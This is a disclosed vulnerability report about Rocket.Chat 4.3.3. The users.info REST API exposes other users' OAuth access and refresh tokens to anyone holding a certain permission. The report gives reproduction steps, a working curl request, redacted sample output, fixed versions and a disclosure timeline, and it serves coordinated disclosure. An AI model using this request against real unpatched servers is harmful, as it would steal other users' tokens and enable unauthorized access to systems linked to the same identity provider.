1

Rocket.chat user info security issue

Share:

SUMMARY BY ROCKET.CHAT

Hello,
We have find potential security issue that user with “view-full-other-user-info” permissions is able to view another user's OAuth tokens via Rest API.

Tested on Rocket.Chat version 4.3.3

Steps to reproduce:

1. Integration with OAuth 2.0 identity provider (e.g. Keycloak) is required
2. Add role with permissions “view-full-other-user-info” to user1
3. Log in to Rocket.Chat as user1
4. Go to My Account -> Personal Access Tokens -> Add, save Token and UserId
5. Call Rocket API using curl, provide username of another Rocket.chat user who also is using OAuth: curl -H "X-Auth-Token: `<token>` " -H "X-User-Id: `<userId>` " https://domain.com/api/v1/users.info?username=`<user2>`

In result you get all info includes tokens:

```
{
"user": {
"_id": "xyz",
"createdAt": "2019-09-20T12:46:18.874Z",
"services": {
"keycloak": {
"_OAuthCustom": true,
"accessToken": "xyz",
"idToken": "xyz",
"expiresAt": 1646996798596,
"refreshToken": "xyz",
"sub": "xyz",
```

```
"given_name": "user2",
"family_name": "user2",
"email": "user2@domain.com",
"id": "xyz",
"username": "user2",
"serverURL": "https://idp.url"
}
},
...
```

This is a critical security issue. Users must not be able to view another user's tokens issued by identity provider. Even user with administrator role must not be able to do that. Capturing OAuth access and refresh tokens may lead to unauthorized access to other systems using the same identity provider.

Impact

Take control on oAuth tokens another users.

Fix

Fixed in versions 4.7.5, 4.8.2, 5.0.0

TIMELINE

mikolajczak submitted a report to **Rocket.Chat**. Mar 21st (8 months ago)

lucas_magno Rocket.Chat staff posted a comment. Mar 22nd (8 months ago)

lucas_magno Rocket.Chat staff changed the status to ○ **Triaged**. Mar 25th (8 months ago)

lucas_magno Rocket.Chat staff posted a comment. Mar 25th (8 months ago)

mikolajczak posted a comment. Apr 8th (8 months ago)

mrrorschach Rocket.Chat staff posted a comment. Apr 26th (7 months ago)

mrrorschach Rocket.Chat staff posted a comment. Jul 25th (4 months ago) mrrorschach Rocket.Chat staff disclosed this report. Sep 22nd (2 months ago)